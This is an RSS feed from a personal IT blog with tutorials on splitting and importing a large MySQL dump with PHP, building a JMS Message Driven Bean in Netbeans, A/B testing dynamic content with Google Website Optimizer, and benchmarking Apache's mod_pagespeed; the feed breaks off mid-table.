<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My IT-blog &#187; Wim</title>
	<atom:link href="http://dev.eek.be/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://dev.eek.be</link>
	<description>IT knowledge exchange</description>
	<lastBuildDate>Sun, 18 Dec 2011 10:37:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Split and import a very large database with PHP</title>
		<link>http://dev.eek.be/2011/04/split-and-import-a-very-large-database-with-php/</link>
		<comments>http://dev.eek.be/2011/04/split-and-import-a-very-large-database-with-php/#comments</comments>
		<pubDate>Mon, 11 Apr 2011 07:03:59 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[import]]></category>
		<category><![CDATA[large files]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=548</guid>
		<description><![CDATA[I had to import a SQL-file with a size of over 20Gb into a mysql-database but ran into a lot of problems doing this. I don&#8217;t have the best server in the world so this import takes about 8 hours to complete and I noticed that after a few hours the import stopped or my ]]></description>
			<content:encoded><![CDATA[<p>I had to import a SQL-file with a size of over 20Gb into a mysql-database but ran into a lot of problems doing this.<br />
I don&#8217;t have the best server in the world so this import takes about 8 hours to complete and I noticed that after a few hours the import stopped or my connection broke down so I had to start the import again. I&#8217;ve tried it for 5 times without succes and got a little frustrated so I decided to write a little and simple PHP-script to split this large file into smaller pieces so I could import these pieces and eventually easily resume the script after the connection broke down.</p>
<p><b>Splitting the sql-file</b><br />
I just read every line in with PHP and when I encounter a comment (&#8211; ), I create a new file.</p>
<pre class="prettyprint">
//Set time limit to one hour
set_time_limit(3600);

$dir = '/path/to/store/splits';
$file = '/path/to/large/sql/file.sql';

$i = 1000000;
//open large sql-file
$handle = fopen($file,"r");
if($handle) {
	while(($buffer = fgets($handle)) !== false) {
		//read line and append it to the file with name $i.sql
		$newfile = fopen($dir . '/' .$i . '.sql', 'a+');
		fwrite($newfile,$buffer);
		//if a comment is found, create a new file
		if(substr($buffer,0,3) === '-- '){
			$i++;
		}
	}
fclose($handle);
}
</pre>
<p>Splitting this 20Gb file took about 10 minutes on my server and created approximately 500 files. The largest file was 5Gb and I know I could import a 5Gb-file without a problem.</p>
<p><b>Importing the sql-file</b><br />
Importing the file was pretty simple. I wrote a script that loops over all the files and imports them into the database.</p>
<pre class="prettyprint">
set_time_limit(3600000);

//The directory containing the splitted files
$dir = '/path/to/store/splits';

$files = scandir($dir);

ob_start();
//loop over the files and import them into the database
foreach($files as $file){
	echo $dir . $file . "\n";
	system("mysql -u mysql_username -pmysql_password mysql_databasename < $dir/$file");
	ob_flush();
}
</pre>
<p>In my case, it took more than 8 hours to completely import those database but with the help of these 2 scripts, it worked like a charm.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2011/04/split-and-import-a-very-large-database-with-php/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Create a Message Driven Bean with Netbeans</title>
		<link>http://dev.eek.be/2011/01/create-a-message-driven-bean-with-netbeans/</link>
		<comments>http://dev.eek.be/2011/01/create-a-message-driven-bean-with-netbeans/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 16:55:09 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[EJB]]></category>
		<category><![CDATA[glassfish]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[JMS]]></category>
		<category><![CDATA[MDB]]></category>
		<category><![CDATA[message driven beans]]></category>
		<category><![CDATA[messaging]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[queue]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=530</guid>
		<description><![CDATA[I was looking how Message Driven Beans in JEE 6 works and I was surprised that it isn&#8217;t that difficult. I was especially surprised about the support for MDB&#8217;s (and the other beans) in Netbeans. Creating a working example with a MDB is just a matter of minutes. In this post I&#8217;ll try to teach ]]></description>
			<content:encoded><![CDATA[<p>I was looking how Message Driven Beans in JEE 6 works and I was surprised that it isn&#8217;t that difficult. I was especially surprised about the support for MDB&#8217;s (and the other beans) in Netbeans. Creating a working example with a MDB is just a matter of minutes.</p>
<p>In this post I&#8217;ll try to teach you how to create a message driven bean which can communicate with an application client.<br />
In order to follow this tutorial, I&#8217;ll assume you have Netbeans (6.9) and Glassfish available on your system.</p>
<h2>Creating the Message driven bean</h2>
<p>Create a new project in Netbeans and choose for a Java EE &#8211; EJB Module.</p>
<div id="attachment_532" class="wp-caption aligncenter" style="width: 565px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB1.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB1.png" alt="" title="MDB1" width="555" height="314" class="size-full wp-image-532" /></a>
<p class="wp-caption-text">Create a new project</p>
</div>
<p>Next, give your project a name and make sure you select Glassfish 3 as your server and Java EE 6 as your Java EE version.</p>
<div id="attachment_533" class="wp-caption aligncenter" style="width: 590px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB2.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB2.png" alt="Server and settings" title="MDB2" width="580" height="207" class="size-full wp-image-533" /></a>
<p class="wp-caption-text">Server and settings</p>
</div>
<p>Than you can add a new Message Driven Bean to your project</p>
<div id="attachment_534" class="wp-caption aligncenter" style="width: 535px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB3.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB3.png" alt="" title="MDB3" width="525" height="388" class="size-full wp-image-534" /></a>
<p class="wp-caption-text">Add a Message Driven Bean</p>
</div>
<p>Give the Bean a name and a package.<br />
Click next to destinations on the Add button to add a destination.<br />
Choose a name for your destination.<br />
Choose between Queue or Topic. In this example it isn&#8217;t important which one you choose. The difference between Topic and Queue is if you want <a href="http://en.wikipedia.org/wiki/Point-to-point_communication_(telecommunications)" target="_new">Point-to-point</a> or <a href="http://en.wikipedia.org/wiki/Publish/subscribe" target="_new">Publish/subscribe</a> communication for your beans.</p>
<div id="attachment_536" class="wp-caption aligncenter" style="width: 635px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB4.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB4.png" alt="" title="MDB4" width="625" height="510" class="size-full wp-image-536" /></a>
<p class="wp-caption-text">Name your bean</p>
</div>
<p>Netbeans creates code for you and, except for the actual businesscode, your bean is ready.</p>
<p>In this simple example, I just want to pass a name from my applicationclient to my bean and my bean has to echo &#8220;Helllo name&#8221;</p>
<p>The full code looks like this:</p>
<pre class="prettyprint">
package hello;

import java.util.logging.Level;
import java.util.logging.Logger;
import javax.ejb.ActivationConfigProperty;
import javax.ejb.MessageDriven;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageListener;

@MessageDriven(mappedName = "jms/hello", activationConfig =  {
        @ActivationConfigProperty(propertyName = "acknowledgeMode", propertyValue = "Auto-acknowledge"),
        @ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue")
    })
public class HelloBean implements MessageListener {

    public HelloBean() {
    }

    public void onMessage(Message message) {
        try {
            System.out.println("Hello " + message.getStringProperty("name"));
        } catch (JMSException ex) {
            Logger.getLogger(HelloBean.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
}
</pre>
<p>Almost all the configuration is mapped into 1 annotation.<br />
- The annotation @MessageDriven transforms your normal class into an actual Message Driven Bean.<br />
- The @ActivationConfigProperty annotation is to be used for defining properties to your bean such as the acknowledge mode, message selector, subscription durability and destination type.<br />
In previous versions of JEE, you had to create an XML-file to define all these properties.</p>
<p>Our bean is finished and can be deployed.<br />
Start your Glassfish server and simply click on the deploy button to deploy your bean into Glassfish.</p>
<p>If you open your Glassfish admin console (by default located at http://localhost:4848/ ),  you should see that your application is successfully deployed and activated into Glassfish.<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB5.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB5.png" alt="" title="MDB5" width="781" height="234" class="aligncenter size-full wp-image-538" /></a></p>
<p>Also verify that the JMS resources for your MDB are succesfully created</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB6.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB6.png" alt="" title="MDB6" width="598" height="259" class="aligncenter size-full wp-image-539" /></a></p>
<h2>Creating the Application client</h2>
<p>The MDB is created and is waiting for messages. Now it&#8217;s time to create the Application client.<br />
Just create a new project and choose for an Enterprise Applicaton Client from the list</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB7.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB7.png" alt="" title="MDB7" width="545" height="435" class="aligncenter size-full wp-image-540" /></a></p>
<p>The code for the applicaton client looks like this:</p>
<pre class="prettyprint">
package mdbclient;

import javax.annotation.Resource;
import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageProducer;
import javax.jms.Queue;
import javax.jms.Session;

public class Main {

    @Resource(mappedName = "jms/helloFactory")
    private static ConnectionFactory connectionFactory;

    @Resource(mappedName = "jms/hello")
    private static Queue queue;

    public static void main(String[] args) throws JMSException {
        Connection connection = connectionFactory.createConnection();
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageProducer producer = session.createProducer(queue);
        Message message = session.createTextMessage();
        message.setStringProperty("name", "World!!");
        producer.send(message);
        System.exit(0);
    }
}
</pre>
<p>If you deploy and run this application you should see in the server output the string &#8220;Hello World!!<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB8.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB8.png" alt="" title="MDB8" width="810" height="198" class="aligncenter size-full wp-image-542" /></a></p>
<p>What&#8217;s going on?<br />
First we have to create 2 resources to inject the parameters into the Queue and ConnectionFactory . This can be done easily with the @resource annotation.<br />
Next, we just have to create the actual jms-message. I think the code is pretty clear so it shouldn&#8217;t be to difficult to understand what&#8217;s going on.</p>
<h2>Remote invocation</h2>
<p>It would be cool if we can run the client from a remote computer.<br />
This is also very easy with webstart.</p>
<p>Go to your Glassfish admin and simply enable Java Web Start.<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB9.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB9.png" alt="" title="MDB9" width="759" height="252" class="aligncenter size-full wp-image-543" /></a></p>
<p>If you launch this jnpl file from a remote compter, you should again see the message &#8220;Hello World!!&#8221; in your Glassfish Server output.</p>
<p>When you get an error, it&#8217;s possible that you have to change the IP address of the orb-listener-1 to the IP address of the computer where your Glassfish is running on.<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB10.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB10.png" alt="" title="MDB10" width="659" height="691" class="aligncenter size-full wp-image-544" /></a></p>
<p>Happy Messaging!!</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2011/01/create-a-message-driven-bean-with-netbeans/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Testing dynamic content with Google Website Optimizer</title>
		<link>http://dev.eek.be/2010/12/testing-dynamic-content-with-google-website-optimizer/</link>
		<comments>http://dev.eek.be/2010/12/testing-dynamic-content-with-google-website-optimizer/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 19:50:34 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[A/B]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dynamic]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[multivariate]]></category>
		<category><![CDATA[optimizer]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=483</guid>
		<description><![CDATA[Google Website Optimizer is a great tool for testing webpages or parts of a webpage to increase theirs conversion rates. A great disadvantage is the fact that you can only enter some static content into Optimizer. This is completely logic because Google can’t run your JAVA/PHP/.NET code. Luckily, using Google Optimizer for dynamic content isn’t ]]></description>
			<content:encoded><![CDATA[<p><a href="http://dev.eek.be/wp-content/uploads/2010/12/optimizerA.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optimizerA.png" alt="" title="optimizerA" width="580" height="428" class="aligncenter size-full wp-image-513" /></a><br />
Google Website Optimizer is a great tool for testing webpages or parts of a webpage to increase theirs conversion rates.<br />
A great disadvantage is the fact that you can only enter some static content into Optimizer. This is completely logic because Google can’t run your JAVA/PHP/.NET code.</p>
<p>Luckily, using Google Optimizer for dynamic content isn’t that hard with a little planning.<br />
Google has put an article about this topic in <a href="http://www.google.com/support/websiteoptimizer/bin/answer.py?hl=en&#038;answer=61201">their online help</a> but I don’t like this solution very much. I have found 2 other ways to use Optimizer with dynamic content: the CSS and the Ajax way.<br />
I’ll try to describe both of them in this blogpost.</p>
<p>In my examples I’ll use PHP as dynamic language. The code is far from difficult so you propably can translate it easy in the language you prefer.</p>
<h2>The CSS way</h2>
<p>In this technique, you basically load every scenario but display only one of them. The displaying of the right scenario is done through a little bit of CSS-magic.<br />
In this example, I will test the contents of a div with 3 scenario’s:<br />
Just create a multivariate experiment in Google and add the optimizer tags to your code.<br />
A good rule of thumb is: add as little as possible between the utmx_section script tags. In this case, just try to add only a tag with a css selector.<br />
This is my example source code and my test in Optimizer:</p>
<pre class="prettyprint">
&lt;html&gt;
    &lt;head&gt; 

        &lt;!-- Google Website Optimizer Control Script --&gt;
	… Optimizer head script…
        &lt;!-- End of Google Website Optimizer Control Script --&gt; 

        &lt;title&gt;Example A/B test with css&lt;/title&gt;
        &lt;style type="text/css"&gt;
            .variantA {background-color:yellow;}
            .variantB {background-color:#00CCFF;}
            .variantC {background-color:red;}
            #testA .variantB {display:none}
            #testA .variantC {display:none}
            #testB .variantA {display:none}
            #testB .variantC {display:none}
            #testC .variantA {display:none}
            #testC .variantB {display:none}

        &lt;/style&gt;
    &lt;/head&gt; 

    &lt;body&gt;
        &lt;!—Add as little as possible between utmx_section--&gt;
        &lt;script&gt;utmx_section("sectionA")&lt;/script&gt;
        &lt;div id="testA"&gt;
        &lt;/noscript&gt;
        &lt;!-- TestA --&gt;
        &lt;div class="variantA"&gt;&lt;a href="result.php"&gt;
                This is dynamic content A which displays a date:
                &lt;?php echo date('l jS \of F Y'); ?&gt;
        &lt;/a&gt;&lt;/div&gt;
        &lt;!-- TestB --&gt;
        &lt;div class="variantB"&gt;&lt;a href="result.php"&gt;
                this is dynamic content B whic displays the time:
                &lt;?php echo date('h:i:s A'); ?&gt;
        &lt;/a&gt;&lt;/div&gt;
        &lt;!-- TestC --&gt;
        &lt;div class="variantC"&gt;&lt;a href="result.php"&gt;
                This is dynamic content C which displays the date and time:
                &lt;?php echo date('l js \of FY h:i:s A'); ?&gt;
        &lt;/a&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;!-- Google Website Optimizer Tracking Script --&gt;
	…optimizer body script…
    &lt;!-- End of Google Website Optimizer Tracking Script --&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>Test A:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/optOriginal.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optOriginal.png" alt="" title="optOriginal" width="474" height="213" class="aligncenter size-full wp-image-485" /></a></p>
<p>Test B:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/optsecB.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optsecB.png" alt="" title="optsecB" width="465" height="202" class="aligncenter size-full wp-image-486" /></a></p>
<p>Test C:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/optsecC.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optsecC.png" alt="" title="optsecC" width="527" height="246" class="aligncenter size-full wp-image-487" /></a></p>
<p>As you see, when testA is loaded by Google, we just set everything for testB and testC (variantB/variantC) to display:none in css so it just will not be displayed in the browser.<br />
For testB, you hide testA and testC and if you test testC, you hide testA and testB.</p>
<h3><b>Conclusion</b></h3>
<ul>
<li>Pro:</li>
<ul>
<li>Very easy to set up</li>
</ul>
<li>Con:</li>
<ul>
<li>When testing many variants, the css becomes big and difficult to maintain</li>
<li>All the code from the 3 tests will be executed. In this example, that’s not a problem but if you want to test scenario’s which create a heavy load on your server or use code which runs for a long time, this way to test becomes quickly painful.</li>
</ul>
</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "ca-pub-1041875485625119";
/* midden in posts */
google_ad_slot = "2965755020";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>The Ajax way</h2>
<p>This technique is much better to test larger scenarios. You can create an ajax call which will just load the code you need.</p>
<p>You can create the Ajax by hand with a XMLHttpRequest but I prefer using a javascript framework like <a href="http://jquery.com/">JQuery</a> which makes the creation of Ajax calls very easy to do. In my example, I’ll put the content received from the Ajax call into the div with id “test”.<br />
The dynamic content of every test is inside it’s own script (a.php, b.php,c.php) which makes this scenario clean and very flexible.</p>
<p>This is my example source code and my test in Optimizer:</p>
<pre class="prettyprint">
&lt;html&gt;
    &lt;head&gt;
        &lt;!-- Google Website Optimizer Control Script --&gt;
        …head script of optimizer…
        &lt;!-- End of Google Website Optimizer Control Script --&gt;

        &lt;script src="jquery-1.4.4.min.js"&gt;&lt;/script&gt;
        &lt;title&gt;A/B test with Ajax calls&lt;/title&gt;
    &lt;/head&gt;

    &lt;body&gt;
        &lt;div id="test"&gt;&lt;/div&gt;
        &lt;script&gt;utmx_section("Ajaxtest")&lt;/script&gt;
        &lt;script type="text/javascript"&gt;
            $('#test').load('a.php');
        &lt;/script&gt;
    &lt;/noscript&gt;

    &lt;!-- Google Website Optimizer Tracking Script --&gt;
    ..body script optimizer…
    &lt;!-- End of Google Website Optimizer Tracking Script --&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>Test A:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/opt2original.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/opt2original.png" alt="" title="opt2original" width="580" height="222" class="aligncenter size-full wp-image-496" /></a></p>
<p>Test B:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/opt2secB.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/opt2secB.png" alt="" title="opt2secB" width="580" height="166" class="aligncenter size-full wp-image-497" /></a></p>
<p>Test C:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/opt2secC.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/opt2secC.png" alt="" title="opt2secC" width="580" height="183" class="aligncenter size-full wp-image-498" /></a></p>
<p>So Google decides wich Ajax call will be made. The appropriate script will be loaded and executed.</p>
<h3><b>Conclusion</b></h3>
<ul>
<li>Pro:</li>
<ul>
<li>Very easy to set up</li>
<li>Very flexible</li>
<li>Only the desired test will be loaded</li>
<li>Changes can be made in the scripts while the test is running</li>
</ul>
<li>Con:</li>
<ul>
<li>The content of the test will be retrieved after the page is loaded so this can become slow.</li>
</ul>
</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "ca-pub-1041875485625119";
/* midden in posts */
google_ad_slot = "2965755020";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/12/testing-dynamic-content-with-google-website-optimizer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing the new mod_pagespeed for Apache 2 from Google</title>
		<link>http://dev.eek.be/2010/11/testing-the-new-mod_pagespeed-for-apache-2-from-google/</link>
		<comments>http://dev.eek.be/2010/11/testing-the-new-mod_pagespeed-for-apache-2-from-google/#comments</comments>
		<pubDate>Fri, 05 Nov 2010 21:33:34 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[modules]]></category>
		<category><![CDATA[mod_pagespeed]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[speed]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=427</guid>
		<description><![CDATA[Google released a new module for Apache2, mod_pagespeed, yesterday. They claim that a webpage can load 50% faster with the module installed. I&#8217;m a little bit sceptic about that claim so it&#8217;s time to give it a little test. For this test, I&#8217;ve set up a server (1 intel processor/512MB ram/12MB video memory) with Ubuntu ]]></description>
			<content:encoded><![CDATA[<p>Google released a new module for Apache2, <a href="http://googlecode.blogspot.com/2010/11/make-your-websites-run-faster.html" target="_blank">mod_pagespeed</a>, yesterday. They claim that a webpage can load 50% faster with the module installed.<br />
I&#8217;m a little bit sceptic about that claim so it&#8217;s time to give it a little test.</p>
<p>For this test, I&#8217;ve set up a server (1 intel processor/512MB ram/12MB video memory) with Ubuntu Server 10.10 (32 bit).<br />
I could test some static resources but nowadays, particularly all websites are dynamic ones so I&#8217;ve installed Mysql/PHP and of course Apache2, all with the default settings, on my server.<br />
Next, I&#8217;ve downloaded WordPress and installed it on the server, changed the appearance to &#8216;pixel theme&#8217; and added a few posts with images in.</p>
<p>Time to test <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><span id="more-427"></span></p>
<p>I&#8217;m not going to do fancy stuff, the module is installed with the default options enabled and I&#8217;ll just use Firebug to do the tests.</p>
<p>First the tests without the module installed:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/11/mod_pagespeed2.jpg"><img class="aligncenter size-medium wp-image-436" title="mod_pagespeed " src="http://dev.eek.be/wp-content/uploads/2010/11/mod_pagespeed2-300x80.jpg" alt="" width="300" height="80" /></a></p>
<table id="wp-table-reloaded-id-2-no-1" class="wp-table-reloaded wp-table-reloaded-id-2">
<thead>
<tr class="row-1 odd">
<th class="column-1"></th>
<th class="column-2">pageRequests</th>
<th class="column-3">pagesize (KB)</th>
<th class="column-4">Loadtime (ms)</th>
</tr>
</thead>
<tfoot>
<tr class="row-12 even">
<th class="column-1">Average</th>
<th class="column-2">14</th>
<th class="column-3">354.9</th>
<th class="column-4">480</th>
</tr>
</tfoot>
<tbody class="row-hover">
<tr class="row-2 even">
<td class="column-1">Test 1</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">504</td>
</tr>
<tr class="row-3 odd">
<td class="column-1">Test 2</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">471</td>
</tr>
<tr class="row-4 even">
<td class="column-1">Test 3</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">596</td>
</tr>
<tr class="row-5 odd">
<td class="column-1">Test 4</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">459</td>
</tr>
<tr class="row-6 even">
<td class="column-1">Test 5</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">480</td>
</tr>
<tr class="row-7 odd">
<td class="column-1">Test 6</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">479</td>
</tr>
<tr class="row-8 even">
<td class="column-1">Test 7</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">446</td>
</tr>
<tr class="row-9 odd">
<td class="column-1">Test 8</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">457</td>
</tr>
<tr class="row-10 even">
<td class="column-1">Test 9</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">460</td>
</tr>
<tr class="row-11 odd">
<td class="column-1">Test 10</td>
<td class="column-2">14</td>
<td class="column-3">354.9</td>
<td class="column-4">444</td>
</tr>
</tbody>
</table>
<p>
The results with the module installed:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/11/mod_pagespeed12.jpg"><img src="http://dev.eek.be/wp-content/uploads/2010/11/mod_pagespeed12-300x69.jpg" alt="" title="mod_pagespeed" width="300" height="69" class="aligncenter size-medium wp-image-450" /></a></p>
<table id="wp-table-reloaded-id-3-no-1" class="wp-table-reloaded wp-table-reloaded-id-3">
<thead>
<tr class="row-1 odd">
<th class="column-1"></th>
<th class="column-2">pageRequests</th>
<th class="column-3">pagesize (KB)</th>
<th class="column-4">Loadtime (ms)</th>
</tr>
</thead>
<tfoot>
<tr class="row-12 even">
<th class="column-1">Average</th>
<th class="column-2">12</th>
<th class="column-3">349.7</th>
<th class="column-4">421.8</th>
</tr>
</tfoot>
<tbody class="row-hover">
<tr class="row-2 even">
<td class="column-1">Test 1</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">451</td>
</tr>
<tr class="row-3 odd">
<td class="column-1">Test 2</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">417</td>
</tr>
<tr class="row-4 even">
<td class="column-1">Test 3</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">406</td>
</tr>
<tr class="row-5 odd">
<td class="column-1">Test 4</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">437</td>
</tr>
<tr class="row-6 even">
<td class="column-1">Test 5</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">403</td>
</tr>
<tr class="row-7 odd">
<td class="column-1">Test 6</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">463</td>
</tr>
<tr class="row-8 even">
<td class="column-1">Test 7</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">393</td>
</tr>
<tr class="row-9 odd">
<td class="column-1">Test 8</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">436</td>
</tr>
<tr class="row-10 even">
<td class="column-1">Test 9</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">383</td>
</tr>
<tr class="row-11 odd">
<td class="column-1">Test 10</td>
<td class="column-2">12</td>
<td class="column-3">349.7</td>
<td class="column-4">429</td>
</tr>
</tbody>
</table>
<p><script type="text/javascript"><!--
google_ad_client = "pub-1041875485625119";
/* 468x60, gemaakt 5-11-10 */
google_ad_slot = "2519777813";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Mod_pagespeed_statistics:</p>
<table id="wp-table-reloaded-id-4-no-1" class="wp-table-reloaded wp-table-reloaded-id-4">
<tbody class="row-hover">
<tr class="row-1 odd">
<td class="column-1">resource_fetches</td>
<td class="column-2">0</td>
</tr>
<tr class="row-2 even">
<td class="column-1">total_page_load_ms</td>
<td class="column-2">3240</td>
</tr>
<tr class="row-3 odd">
<td class="column-1">page_load_count</td>
<td class="column-2">10</td>
</tr>
<tr class="row-4 even">
<td class="column-1">cache_extensions</td>
<td class="column-2">30</td>
</tr>
<tr class="row-5 odd">
<td class="column-1">not_cacheable</td>
<td class="column-2">0</td>
</tr>
<tr class="row-6 even">
<td class="column-1">css_file_count_reduction</td>
<td class="column-2">0</td>
</tr>
<tr class="row-7 odd">
<td class="column-1">css_filter_files_minified</td>
<td class="column-2">10</td>
</tr>
<tr class="row-8 even">
<td class="column-1">css_filter_minified_bytes_saved</td>
<td class="column-2">40</td>
</tr>
<tr class="row-9 odd">
<td class="column-1">css_filter_parse_failures</td>
<td class="column-2">10</td>
</tr>
<tr class="row-10 even">
<td class="column-1">css_elements</td>
<td class="column-2">0</td>
</tr>
<tr class="row-11 odd">
<td class="column-1">image_inline</td>
<td class="column-2">10</td>
</tr>
<tr class="row-12 even">
<td class="column-1">image_rewrite_saved_bytes</td>
<td class="column-2">0</td>
</tr>
<tr class="row-13 odd">
<td class="column-1">image_rewrites</td>
<td class="column-2">20</td>
</tr>
<tr class="row-14 even">
<td class="column-1">javascript_blocks_minified</td>
<td class="column-2">0</td>
</tr>
<tr class="row-15 odd">
<td class="column-1">javascript_bytes_saved</td>
<td class="column-2">0</td>
</tr>
<tr class="row-16 even">
<td class="column-1">javascript_minification_failures</td>
<td class="column-2">0</td>
</tr>
<tr class="row-17 odd">
<td class="column-1">javascript_total_blocks</td>
<td class="column-2">0</td>
</tr>
